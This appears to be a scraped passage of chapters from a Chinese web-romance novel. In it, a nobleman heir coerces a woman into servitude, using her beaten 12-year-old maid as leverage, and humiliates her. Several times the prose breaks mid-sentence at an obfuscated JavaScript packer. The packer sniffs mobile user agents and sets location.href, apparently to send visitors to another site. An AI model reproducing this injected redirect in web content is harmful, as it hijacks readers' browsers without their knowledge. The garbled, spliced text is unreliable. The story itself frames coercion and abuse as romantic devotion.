他目光冷冷,嘴里哼了一声:“非要忤逆本世子,这回老实了?” 见怀中的人没有任何反应,他抱着人进了陈府他住的院子,又着人去请了大夫。 元青快马赶到了官府,那吴为庸知晓他是贵人身边的人,也没有阻拦,直接带元青到了牢房。 元青看见一个毛茸茸的脑袋轻轻压在干草堆上,整个人安安静静的,好像是睡着了。 待他再走近一些,菱儿裙子上的那片红色瞬间刺痛了他的眼睛。 元青只觉胸口一滞,那丫头那样小,她得多疼啊! 此刻,元青才知道,为何清姑娘那样着急。 他只知吴为庸和金氏一起,将菱儿关进了牢里。 却不知她们还打了她的板子! 再看看菱儿的脸,已经红得像要熟透的虾子,嘴唇又发着乌。 元青快步来到门边,伸手碰了碰菱儿的额头,滚烫非常。 元青暗道不好,菱角这是发了高热了。 “菱角!”他急着呼唤她,却没有一丝回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312962|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应。 一旁的吴为庸看菱儿毫无反应,又见元青那焦急的模样,心道不好。 这丫头看起来像是要**,而眼前这人好像很在意的样子。 早知这小丫头也是贵人青睐的人,他就为她寻个大夫来了。 转而一想,他又怪起金氏来,心里直埋怨她下手太狠。 “快打开门!”元青几乎是吼着的。 牢头儿闻言,赶紧上前打开了牢门。 元青冲了进去,心疼地想要将菱儿抱起来,可看见她那伤,又不敢碰她,怕碰到她的伤口。 吴为庸见状,让牢头儿帮忙,找来了担架,才将菱儿抬上了马车。 元青看着立在马车前的吴为庸,看得吴为庸心里有些发毛。 那小哥的眼神似乎是想活剐了他啊! 元青转过头,驾着马车,将菱儿带了回去。 沈清念被谢宴之抱回屋子后,吩咐小厮去准备些热水,他要给她泡泡热水澡,不然怕是会受凉。 他伸手解开了沈清念的衣带,将她身上的湿透的衣裳脱掉。 她就这样暴露在他眼前,谢宴之看了一眼那样美好的她,伸手拉过被子将她裹了起来。 此时他可没心情做什么,他要的是她清醒的时候,他想看看那时她会是什么反应! 谢宴之坐到了旁边的椅子上,闭目养神。 他怕再多看上一眼,就会无法控制。 等沈清念悠悠转醒时,发现自己正在浴桶里,温热的水让她的身体不再觉得冷冷的。 她忽然想起来谢宴之好像将她抱了起来,然后,她就昏了过去,什么也不知道了。 她趴在浴桶边缘,打量着眼前的屋子。 屋子是成套的紫檀木桌椅,还有些古董瓷器,低调中又透着一丝奢华的气息。 还有一股似有若无的雪松味环绕在鼻尖,她瞬间明白过来,这是谢宴之的屋子! 那他人呢? 沈清念心里有些发慌,她扫视了一下屋子,没有看到人便想要起身穿衣裳。 她才刚动了一下,就发觉自己的腰被什么东西环着,一个冷冽的声音从身后传来:“你醒了?” 第一百章 也该兑现她的承诺了 沈清念猛地转过头去,才看到谢宴之正贴在自己身后,那只大手也环在她的腰上。 而他脸上神情淡淡,眯着眼,似在养神。 沈清念赶紧往后退了一些,低头看了自己一眼,才发现她此时不着寸缕。 她又赶紧双手抱臂,勉强将那些饱满挡住。 难道他刚一直就那样抱着自己! 她顶着一双湿漉漉的眸子,脸上满是惊慌与怨恨:“你……!你趁人之危!” 手上的柔软一下消失了,谢宴之缓缓睁开了眼,幽深的眸子看向沈清念。 刚刚小厮将浴桶的水装满以后,谢宴之将沈清念放了进去,却见她整个人一下就歪倒在水中。 他身上也淋了雨,不如抱着沈清念,这样就不怕她溺**。 但她看向自己的那是什么眼神?以为我会趁人之危的小人行径吗? 他刚刚一直煎熬得辛苦,现在人醒了,却视他如洪水猛兽。 谢宴之觉得自己的一片好心都为了狗了。 她还没学乖吗?看来之前额怀柔显然是没有一丝一毫的效果。 他张开双手搭在浴桶边缘,看向沈清念的眼里,含着一丝质问。 见她的脸色还是那样难看,眼里的惊恐不退,他心中涌起了一丝怒意。 谢宴之薄唇微启,吐出几个冰冷的字:“怎么,不能看?” “不是说做什么都可以么?” 说完,他看她的眼眸里,蓄满了寒意,又有开口道:“还是说你又在骗本世子?” 沈清念眼里流露出一丝慌乱,她想起了那个时候谢宴之问她的话,原本恢复了些红润的脸,此刻又泛起了白。 当时是想到菱儿,她不答应,菱儿很有可能就会死。 想到这儿,沈清念喉头一堵,酸涩涌上心头。 眼泪掉落下来,滴进温水里,泛起几个旋儿。 谢宴之见她潸然泪下,眉头紧皱。 与他在一处,就让她这样难受? 这世上还有哪个女子,能让他做到这个份上。他给了她所有的耐心与爱意,她倒是觉得委屈巴巴。 那副样子给谁看?谁委屈她了? 自己跑出去开铺子,每日挣那几文钱就那么开心?没了他的庇护,连个地痞流氓都可以随意欺辱她。 谢宴之看着她,眉头越皱越深。不识好歹!愚不可及! 既是那样,那就不要怪他用强了。 如今看来,强硬手段至少将人留在了身边,至于她的心,只要人一直留在他身边,总有一天她会双手捧着送到他面前的。 想着,人就凑了过去。 沈清念抬起头,就看到了眼前那张放大的脸。 沈清念被逼得想逃,可她已经到了浴桶边缘,已经退无可退。 谢宴之用手扣住他的后脑勺,鹰隼般的眼光盯着她,灼热的气息洒在她脸上。 沈清念看见他的喉头滚动了一下,她的心也跳得极快,如果可以,她很想用手将他狠狠推开。 谢宴之盯着她看了一会儿,眯着眼:“你是不是在骗我?”话语里透着不满与威胁。 仿佛她要是敢承认在威胁他,就会有难以承受的后果。 沈清念也被他看得心虚。 她那时说的话的确不是心里话,可眼下二人的处境,又不敢激怒他。想了想说道:“没有,我没有在骗你。我……我只是想先看看菱儿。” 对的,她醒来还没有见到菱儿,她当时伤得那样重,又发了高热。 闻言,谢宴之松开了她,忽然站了起来。 沈清念没想到谢宴之这么容易就放开了她,她抬头看去,见他全身上下只着了一条亵裤,水滴顺着他结实的胸膛滴下来。 而她面前的是正是他的伟岸。 沈清念赶紧闭上了眼。 谢宴之看了她一眼,嘴角微翘。她的确还从没见过他这样子。 他甚至还想知道此刻见了他这样,她喜不喜欢,满不满意。 又听见一阵水声,谢宴之已经从浴桶里出来,拿着帕子将自己随手擦了两下。 沈清念侧耳听着他的动静,心跳加快,只觉得又羞又恼。 忽然她觉得自己双臂被人抓住,那双大手一用力,自己就被人从水里拎了起来。 下一秒就落入一个宽阔的怀抱里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312963|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼见谢宴之抱着她朝着床的方向去,沈清念吓得大喊起来:“你要做什么?” 任谁在这样的情形下被人抱住,都会害怕。 沈清念顾不得胸前的风光,双手拼命捶打,想从他怀里挣脱出来。 但他的手紧紧箍住了她,半分不得松动。 沈清念心一狠,一口咬在他的肩上。她心里对谢宴之接下来要对她做的事是万般抵触。无论如何,她决不能失身于他! 她还没有亲口问问萧怀意还要不要她! “嘶!” 谢宴之没想到她发疯似的,竟然敢咬他!不顾半分小姐的端庄! 他皱着眉快步抱着人来到床边,语气里带着恼怒和嫌弃:“你这个疯子,还不放开!” “当真要我趁人之危!” 那幽深的眸子里已是**,危险的气息弥漫开来。 沈清念松了口,快速扯了被子将自己包裹起来,挤到了角落里。 谢宴之看了一眼肩上的两排红牙印,心道她对他还真是心狠。 她向来对他都是这样狠心! 不过从今以后,他都不纵着她这样了。 他要好好改改她的脾性,挫挫她的傲骨。 谢宴之对着她嫌恶地看了一眼:“你真当我脾性好是不是?” 他又转身从一旁的椅子上,拿了一套藕粉色缠枝纹的衣裙丢给她。 自己又去换了一身干净的衣裳回来,见沈清念还保持着刚才的姿势。 谢宴之冷冷道:“还不快点儿?不是说要去看你那个丫头?” 沈清念听了这话,一下子反应过来,他现在要带她去见菱儿。 她才慢慢悠悠地躲在被子里穿衣裳,可衣裙繁复冗长,憋在那小角落里,根本不好穿。 谢宴之原本坐在椅子上,看她磨磨蹭蹭,小心翼翼的样子,也知道她是介意他在一旁。 很介意吗?刚刚不都看过了? 罢了,等她亲眼看了那丫头,看她还能找出什么借口拒绝他的亲近。 到那时也该兑现她的承诺了。 想到这里,谢宴之站起身来,别有深意地看了一眼沈清念后,拂袖离去。 第一百零一章 若你求我…… 见谢宴之出去了,沈清念朝门边飞快瞧了一眼,飞快地将衣裙穿好。 又松松绾了个发,快步走到门口,一打开门,就见谢宴之负手立在院子里。 谢宴之回头见沈清念穿着那身衣裙,如一朵娇嫩的海棠花,整个人娇俏了许多。 又见她立在门口不动,一幅要与自己保持距离的样子。 谢宴之脸上满是不耐:“还要磨磨蹭蹭到几时?” “还不快过来!” 沈清念抬脚来到了他身后,心里清楚,若惹怒了谢宴之,就见不到菱儿了。 谢宴之冷哼一声,迈开大步子走在前面。为了报复她刚刚的不情不愿,谢宴之故意迈放快了脚步。 沈清念提了裙摆在后面小跑着,才堪堪追上他。 到了一处下人院子,谢宴之突然停下了脚步转过身来,沈清念一时不察,撞在了他怀里。 她慌张地推开他,又赶紧往后退了一步。 谢宴之看到她的举动,目光一冷,出言讽刺道:“不是贞洁烈女吗?现在又急着向我投怀送抱?” 沈清念看着他,若不是他故意走得那么快,又故意停下,她又怎么会刚想开口辩解,又抿住了嘴没有说话。 反正他想怎么羞辱她,她都只能忍着。 想着菱儿,她现在哪有资格跟他争论。 元青守在屋子外面,看见谢宴之和沈清念过来了,赶忙起身。 “爷!清姑娘!” 沈清念看着元青,见他眼里布满血丝,全然没了往日的那股意气风发。 “你怎么这副样子?”谢宴之看着他一脸疲惫,好像一下沧桑了许多。 元青不知自己现在是什么样子,他也不知该怎么回答谢宴之的话。 总不能告诉爷他有多心疼那个丫头,心痛得心里一直在后悔,后悔自己没有保护好她吧。 她才十二岁,就遭了那样大的罪。 那伤连大夫看了都摇了头,他心里怎么会好受。 他心里甚至埋怨过谢宴之。 可是那是他的主子,主子的话他只能听。 “我没事的爷。”元青憋出这一句话来。 看出沈清念的焦急,元青指了指后面那扇门,又说道:“清姑娘,快进去看看菱儿吧。” 沈清念轻轻推开了门,见里面的小床上隐约趴着一个人,睡得恬静安稳。 只是脸上毫无血色,又掀开被子悄悄看了一眼,眼泪夺眶而出。 那里已经没有一块好肉,血肉模糊。 混着药粉,看起来有些骇人。 门外。 谢宴之听了元青的话,蹙了蹙眉。 他只是想要将沈清念逼入绝境,并不想让她身边那丫头受伤。 这样的法子有很多,吴氏夫妇却选了最笨的一种。 谢宴之看了一眼屋内沈清念的身影,心想她当时应该很心疼吧,心里应该是恨极了他。 在外面站了一会儿,谢宴之踱步进到屋子里:“夜深了,跟我回去。” 沈清念摇摇头道:“我想留下来陪着菱儿,我想看她醒过来。” 谢宴之面色沉了下来,她留下来看这个丫头,将他晾在一旁。 在这个丫头和他之间,她竟然毫不犹豫选了那个卑贱的丫头。 谢宴之冷冷道:“既然本世子已经帮你救了菱儿,你也该兑现你的承诺了。” “本世子现在要你去伺候我歇息!” 沈清念听到这话,满眼怨恨,要不是他,菱儿又怎会这样? 一个无辜的人因为他的一己私欲变成了这样,他脸上没有一丝愧疚,反而还继续来逼迫她,他难道没有心吗? 沈清念眼里的恨意一下刺痛了谢宴之,他凑到她耳边道:“我能救她,就能让她再回去!” 沈清念不可置信的看着他,一个人怎么可以这么卑鄙! 见沈清念仰着脖子,挺直了背脊看着他,谢宴之脸色铁青。 他不喜欢她像一棵倔强的树,在他面前展露她的风骨。 那玩意让她看不见他的爱意。 如今,他不会再纵着她,他要慢慢斩断她的傲骨,要她向他臣服。 “你跪下求我,或许本世子可以让你留下来。”谢宴之冰冷的声音传来,令沈清念觉着如坠冰窟。 不知怎么的,她的眼前模糊不已,眼眶酸涩。 饶是她已经做好准备,谢宴之会羞辱她,真的到了这个时候,她还是觉得难以承受。 可她还没有看到菱儿醒过来,她不能离开。 想到这些,沈清念缓缓跪在了地上,艰难开口:“求世子让我留下照顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第一百零二章 求着当他的姨娘 那板子**是真的好疼。 沈清念用额头贴着菱儿的额头,安慰道:“没事了,没事了。” 她的眼泪也忍不住往下流。 “以后,小姐不会再让你挨打了。” “嗯嗯。”菱儿哽咽道。 菱儿轻轻动了一下,屁股疼得她皱紧了眉头。 “小姐,我想看看我到底伤成什么样了。” 沈清念替她掀开了被子,她朝着自己身下看了两眼,就转过头不看了。 从前她娘亲还在时,总是说要打得她屁股开花,如今屁股真的开花了。 菱儿瘪着嘴,颇为委屈道:“小姐,我的屁股开花了。” 沈清念道:“会好的,大夫已经给力用了药了。只是,可能会留疤。” 那皮肉都破了,很难恢复如初。 菱儿听了,沉默了一会儿道:“那以后是不是没人要我了。” 留疤了那么难看,男子都会介意的吧。 沈清念摇摇头:“不会……” 话还没说完,门外一个声音传来:“我要!” 元青推门而入,沈清念赶紧拉起被子盖住菱儿的屁股。 元青也没注意到这点,只是听到菱儿那样说,他就一股脑冲了进来。 “元青!”你怎么偷听人说话? 菱儿瞪了他一眼,差点就被他看见了。 沈清念见元青看向菱儿的眼里满是关切和担心,不免有些怀疑, 她从前从没注意过元青对菱儿…… 沈清念打趣道:“元青,你刚刚说你要什么?” 元青这才后知后觉刚刚说了什么,不好意思道:“我说…我要进来了。” 说完,脸就红了一片。 菱儿道:“那你也得等我们回应了再进来呀,这是女子的房间。” 沈清念见状摇摇头,又看着菱儿笑了笑。 看来她的菱儿还是太小了呀,全然不懂男女之情。 元青才想起来,爷让他带沈清念过去。 谢宴之一大早就来了,但是沈清念和菱儿还没有醒,他冷着脸吩咐元青,若菱儿醒了,就让沈清念去找他。 “清姑娘,爷让您去院子里找他。”元青道。 “小姐!大公子怎么会找你?” 直到现在,菱儿才想起来她还不知这里是哪里,小姐是如何救了她的。 现在小姐又要去见大公子,会不会又被欺负? 沈清念道:“没事,这次多亏世子帮忙,才将你救出来。” 她又摸了摸菱儿的额头,温柔道:“在这里等我。” 她知道谢宴之留给她的耐心不多了,此时菱儿还伤着,她也根本没资格惹怒他。 沈清念一步一顿,走得十分缓慢,如果可以,她真想转身就逃离。 但两处院子隔得并不远,饶是沈清念再慢,也到了谢宴之地门前。 她犹豫地伸出双手搭在门上,却迟迟没有推开门,她实在是没有勇气推开。 谢宴之这几日的举动让她怨恨不已。 想着他昨夜抱着她的模样,沈清念就觉着身上有无数条念你的虫子在蠕动,让她胃里一阵翻滚。 “还不进来!在磨蹭什么!”屋内的声音,吓得她一跳。 谢宴之竟然知道她就在外面。 听谢宴之的语气里带着一丝不耐,沈清念知道他又生气了,只好硬着头皮,推开了门进去。 只见谢宴之指着面前的椅子:“过来。” 沈清念看了看,轻轻走到那椅子处,立着没有动,好像在等谢宴之的下一步吩咐。 实则,她并不想离谢宴之那样近! 谢宴之看着这一幕,十分满意:“站着做什么,坐下来。” “菱儿醒了吧。”谢宴之淡淡说道。 “嗯。”沈清念应道。 “那你是否该兑现承诺了?”谢宴之说着,手指一下一下敲着。 沈清念看着那手指一下下敲着,仿佛敲到了她的心底,敲得她的心莫名紧张,浑身腾起一股冷意。 她面上却十分平静:“不知世子想要我做什么?” 听了这话,谢宴之嘴角微微翘起:“你说呢?” 沈清念道:“我愿给世子当牛做马报答世子的恩情。” 谢宴之冷嗤一声,沈清念这是想揣着明白当糊涂,在他面前装傻! 他可不再惯着她,今日非要把话给挑明了。 “当姨娘也能报答本世子。”说着,想要握住沈清念放在膝上的柔夷。 沈清念见状,立即将手拿开,身子也往边上侧了一下。 谢宴之眉头紧皱,她躲开他的碰触,是在嫌弃他? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第一百零三章 他允许他和她投缘了吗? 等沈清念换了衣服回来后又拿着茶壶,刚踏进谢宴之的院子,就听见屋子里陈江源的声音。 “听说是世子将人救了出来!多谢了。”说着陈江源朝谢宴之拱了拱手。 谢宴之笑道:“陈公子何须向我言谢?” 说完,看向陈江源的眼里蒙上寒霜。 他救的是沈清念,又不是他。这陈公子倒是一副为自家人感谢他的模样。 也不瞧他配不配得上! 陈江源有些红了耳根,笑笑道:“方娘子是我好友,我没能助她,而世子帮了她,我想向世子道谢。” 谢宴之冷冷道:“没想到陈公子与方娘子的交情如此好,真是令人羡慕。” 陈江源没有察觉到谢宴之语气里的异样,仍是开心道:“只是方娘子确实挺好,我与她确实投缘。” 谢宴之眼眸更加深沉,平静的眸子里风卷残云。 他允许他和她投缘了吗? 他才认识她几日,知道她的真面目吗? 陈江源甚至连她的名字都不知晓。 这个狡黠的女子,一贯是爱骗人的。 他的目光瞥见门口的软底绣鞋,心里有了主意。 今日,就让陈江源看看她到底是什么人。 谢宴之面上笑笑,朝着门口道:“还在那里做什么,还不快进来给陈公子奉茶!” 沈清念咬了咬唇,心里也知道谢宴之是故意的。 陈江源看到她这副样子,她该怎么解释? 事已至此,她又能怎么躲开呢? 深深吸了一口气后,沈清念拿着茶壶踏进了屋子,朝着陈江源的走去,低头为他添茶。 陈江源一直看着谢宴之,并未注意到沈清念。 见陈江源没有注意到她,沈清念暗自松了一口气。 她给陈江源的茶盏里添了茶后,又给谢宴之添了茶,转身就要退出去。 此时,她只需要轻轻悄悄地出去,就可避开陈江源了,避开那些难堪了。 谢宴之将茶盏凑到唇边吹了吹,眉头一皱:“回来!” 陈江源也听出了谢宴之语气里的不悦,但他也不知发生了何事。 谢宴之住在他府上这几日,他还没见过谢宴之生气。 沈清念听了话,脚步一顿,立在原地。 谢宴之见她迟迟不转过身来又道:“这茶水如此烫!过来替本世子吹凉!” 沈清念低着头,认命地走过去拿起茶盏,轻轻吹着。 心里将谢宴之骂了一万遍。 这茶水明明就温温的,刚刚好。 他今日是不会轻易放过她了。 “世子,好了。”吹了一会儿,沈清念将茶盏奉到了谢宴之面前。 谢宴之见她埋着头,样子明明恭敬,却惹得他心里莫名有火气窜出来。 她是在害怕陈江源看到吗? 就那么在意在他心目中的样子? 而陈江源听着这个声音觉着有些熟悉。 他想了想,这声音是有些像方娘子,但眼前的人身着丫鬟衣裳,分明是个婢子。 难道是他幻听了? 谢宴之接过茶盏,示意沈清念在一旁站着。 沈清念手脚僵硬地转过身,果然对上了陈江源的眸子。 陈江源的眼睛睁得很大,一脸惊讶。 或许是心里过于吃惊,声音都有些颤抖:“方……方娘子!” 方娘子怎么会成了世子的丫鬟! 沈清念的脸像被人狠狠扇了几耳光,有些挂不住。 谢宴之这样,更像是将她扒光了供人观赏一样。 谢宴之见状,满意地笑了笑,放下茶盏道:“陈公子,这是我新收的丫鬟沈清念,可不是什么方娘子!” 不是吗?可方才的声音也像,容貌也像,有这么像的两个人吗? 那分明是方娘子啊! 谢宴之见沈清念眼神躲闪,面上发白,心里涌起了一丝畅快。 看着她道:“告诉陈公子,你究竟是谁?嗯?”尾音拖得长长的,意味深长。 沈清念看着谢宴之那无耻的模样,心知肚明。 他就是要她在陈江源面前丢脸,让他知道方为清这个名字是骗他的。 她是一个骗子! 捏了捏袖子,沈清念说道:“陈公子,我是沈清念,不是方娘子。” 说完,心里已经是十分委屈。 陈江源怔了怔,一下又明白了,试着道:“你的意思是你不叫方为清,而是叫沈清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈清念看着陈江源那副要为她出头的模样,心里苦涩泛起。 谢宴之比从前更加疯了。 她能感觉到谢宴之对她的占有欲似乎更加强烈了。 他抓了她情同姐妹的菱儿牵制她,又烧毁了铺子,不就是为了逼她向他低头? 如果陈江源再掺和进来,必定会惹怒谢宴之。到时候,他恐怕就是下一个菱儿。 想到这儿,沈清念的身子微微抖了一下。 眼睁睁看着身边的人因她承受折磨,她却无能为力,那种经历实在是太痛了。 她无法再承受那种良心上的折磨。 如今之计,只能让陈江源知她不是被人逼迫的,离她远远的,不再管她的事才好。 沈清念小声道:“陈公子误会了,我并没有什么难处,世子帮了我,我自愿给世子当…奴婢。” “奴婢”两字,沈清念还是有些说不出口。 谢宴之看着陈江源道:“陈公子听清楚了,本世子可没有强人所难?” 他又回头看向沈清念,脸上闪过一丝不耐:“还不快为我喝茶?” 沈清念挣脱了陈江源的手,又端起桌上的茶盏,送到谢宴之唇边。 谢宴之张嘴喝了一口,茶水漏了一些出来,谢宴之将茶盏推到地上,碎成了几片。 他扬着眉道:“这么不会伺候人?” “那就不要当丫鬟了!” 闻言,沈清念脸上浮现了一阵慌乱。不当丫鬟,便要当姨娘。 谢宴之盯着她,她忽然明白了他的意思,缓缓跪在了地上,膝盖被茶盏的碎片划伤。 沈清念眉头紧皱,咬着唇没有发出一点声音。 陈江源见她膝盖出了血,喊了一声:“方娘子!” 又对着世子道:“既然方娘子不会伺候人,不如我送世子两个体贴的丫鬟,世子将方娘子赏了我?” 谢宴之闻言,冷哼一声:“你问我这丫鬟,她若同意,你便带她走吧。” “方娘子?” 陈江源叫了沈清念一声,殷切地看向她,示意她赶紧点头。 沈清念心下知道,谢宴之哪会这样轻易放她走,只不过是要她亲口拒绝陈公子,**诛心而已。 真卑鄙! 沈清念淡淡道:“陈公子,我只想留在世子身边,还请公子莫要强求。” “听到了?”谢宴之抬眼看陈江源。 又对着沈清念道:“下去用药吧。” “是”沈清念忍痛起身,向屋外走去。 陈江源的目光一直追随着她,直到她完全退出了屋子。 出了屋子的沈清念,扶着长廊一步一步走着,步子太大,膝盖上的伤口会疼。 走过花园时,忽然被一个人拦住了去路。 陈江源从一旁的小路出来,抓住了沈清念:“沈姑娘,谢世子现在不在这里,你与我说实话,是不是他逼迫了你?” 沈清念没想到陈江源会在这里堵她。 听着陈江源关切的话语,她心里有些惊讶又有些感动。 但她察觉到背后有一道熟悉的视线,冷汗冒了出来。 她与陈公子现在这模样被他看见,若她的回答不能让谢宴之满意,陈公子怕是会惹上麻烦的。 事实确实如沈清念想的那样,不远处,一双漆黑眸子藏在黑暗里,发出鹰隼般的目光直直盯着这里。 谢宴之没想到会看到眼前这一幕,他也在等,等着看沈清念向陈江源求救。 若是她敢,他就会让她追悔莫及。 沈清念往后退了一步,主动拉开了二人之间的距离。 调整了一下情绪,淡淡道:“我是自愿的,谢世子并没有逼迫我。” 不自愿当丫鬟,就得当姨娘,她选前者。 陈江源看见了沈清念眼里闪过一丝无奈和失落,总觉得沈清念有什么瞒着他。 他仍然不放弃道:“你怎么甘心与人为婢?你不想开铺子,当一个自由自在的掌柜娘子了吗?” 沈清念道:“陈公子说笑了。我一个无依无靠的女子,当日开铺子也是不得已而为之。” “如今承蒙世子不弃,收我为婢,给我一方庇护,不比那抛头露面,担惊受怕的掌柜娘子强吗?” 陈江源眼里流露出难以置信,这还是那个坚强美好的方娘子吗?他心里一时不能接受。 他盯着沈清念看了又看,妄图从她脸上找出些什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325798|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 却只见她神色平淡,毫无异常。 陈江源道:“那你不愿开铺子,也不用去给世子当奴婢呀,为何不早与我说?” “你真的不曾知晓我的心意吗?” 听到陈江源突然表明心意的话,沈清念只觉得心里慌乱得不行,不知他有没有听见? 沈清念看着陈江源,心一狠,直道:“陈公子小小刺史之子,如何能比得上高高在上的谢世子。 “谢世子与你,那是云与泥的区别!” 沈清念顿了顿,艰难地说出最后一句绝情的话:“不攀世子的高枝儿,来攀附陈公子,你莫不是以为我脑子坏了?” 陈江源听着话,如遭雷击,方娘子为何一夜之间变成了这模样? 谢世子还说她叫沈清念,陈江源又开口问道:“你对我说你的名字叫方为清,谢世子却说你是沈清念,你到底是谁?” 沈清念看他还在执着,心里叹了一口气,她必须彻底断绝他的念想。 她装作一副嫌弃的模样,开口道:“我是沈清念。” “知道我为什么告诉世子不告诉你吗?” “因为你不配!” 说完,沈清念偏过头去,将脸隐入黑暗里,不让脸上的泪痕被他看到。 陈江源惊得连连后退,眼里满是震惊与不可思议,心上仿佛被人插了一把刀,血淋淋的。 为什么,为什么她不是方为清,若她一直叫方为清多好! 方娘子从不会说出这样伤人的话来。 他的确是自不量力,谢世子的高枝儿确实他好太多。 他不知自己这样到底是为什么。 也许,她一直都将自己伪装得很好,如今碰到了谢世子,才露出了她的真面目。 “陈公子请回吧!”沈清念冷清清的声音传来。 他已经与她站得够久了,她怕身后那人会控制不住,突然做出什么伤害陈江源的事来。 陈江源对着沈清念拱礼道:“陈某助沈姑娘得偿所愿,早日攀上谢世子的高枝儿!” 说完,失魂落魄地离去了。 沈清念看着月光下的那抹伤心的影子,流着泪心里默念着:陈公子,对不起! 第一百零五章 你的表现我很满意 沉稳的脚步声从身后传来,谢宴之从暗处走了出来。 “舍不得?”冷冽的声音响起。 沈清念用袖子擦掉泪,深吸了一口气:“不是。” 现在不能和谢宴之硬碰硬。 谢宴之看着她的样子,心知她是有些伤怀的。 可是那又怎么样,她的身边本来就只能有他。 让她自己赶走,才能让她死心。 “世子我先下去了。”见谢宴之一直没有说话,沈清念福了一礼,转身就要走。 “站住!”谢宴之伸出手拦在了她胸前。 沈清念全身的神情绷得紧紧的,不知他又要怎么样。 难道刚才她对陈公子说的那番话还惹了他哪里不满意吗?为何不让她走!! “丫鬟就要有丫鬟的样子,主子没叫你退下,你怎可擅自做主退下?” 谢宴之目光清冷,语气里却透着一股责备。 直直向她逼近,逼得沈清念直直后退,直到退到后面的假山处。 她受到惊吓的眸子,看着谢宴之的脸不断地凑近,她放在假山上的手紧紧扣住那石块。 闭着眼睛,眉头皱得紧紧的。 谢宴之见状,停了下来,两人之间只有一指的距离, “还当自己是主子?” 她现在是谢宴之的丫鬟。 “丫鬟应该怎么做,不用我教你吧?” 沈清念的手指狠狠在石头上,直到指尖的疼传遍了全身,她才将手放在腰侧,低着头道:“奴婢知错了。” “奴婢”二字传入谢宴之的耳中,有些不太悦耳。 她本来可以不用叫奴婢的。 她偏偏不愿说出他想听的那个妾字。 “拿去!”谢宴之的手递出一瓶药。 沈清念看到那瓶药,心里明了,这是送甜枣儿来了。 既要送药,又何必明知那碎片会划伤她,还要她跪上去? 况且刚刚羞辱完她,又赐个药给她,谢宴之海当真是将主子的恩威并施发挥得淋漓尽致。 她很想伸手,将那瓶药打掉,可这种想法一转而逝。 打掉了药,谢宴之又会如何发火,她不想去想。 只要能快点离了谢宴之眼前,装装样子也没什么不可以。 “多谢世子!”沈清念又是低头行了一礼。 谢宴之嘴角微扬。 沈清念这恭敬的样子让他很是受用,不枉他花费力气来调教她。 孺子可教也!果然是个聪慧的。 沈清念刚刚低头行礼时,谢宴之瞥见了那雪白的脖颈,收回了视线。 “你刚才的表现很好,我很满意。”谢宴之说完,就转身离去。 刚才沈清念前脚走,陈江源就寻了借口追了出来。 谢宴之哪里会看不出来? 想到沈清念终究是认命地撵走了陈江源,他只觉十分舒心。 沈清念的手紧紧握住那瓶药,仿佛要捏碎那瓶身,再抬眸时,眼里满是恨意。 可再恨又能怎样?她们这些人在权贵面前就如同草芥一样。 她想着想着,泪水又蓄满了眼眶。 在回去的路上路过一小片湖,沈清念没有犹豫,一伸手,将手中的药扔进了湖中。 尽管她的膝盖此时疼得厉害,她也不用他假好心! “老夫人,少爷今日发了好大一通脾气。”一丫头立在陈老夫人面前。 陈江源回去以后,将人全部关在外面,发了好大一通脾气。 现在整个小院儿的人都觉着奇怪,少爷几乎没有发过脾气。 老夫人攥着佛珠的手,停顿了一下,又闭着眼睛念了一句阿弥陀佛。 今日一早,她亲自去书房将他放出来。 毕竟昨夜世子已将方娘子接到了自己房中,想来已经是成其好事。 陈江源此时就算知道,也无济于事。 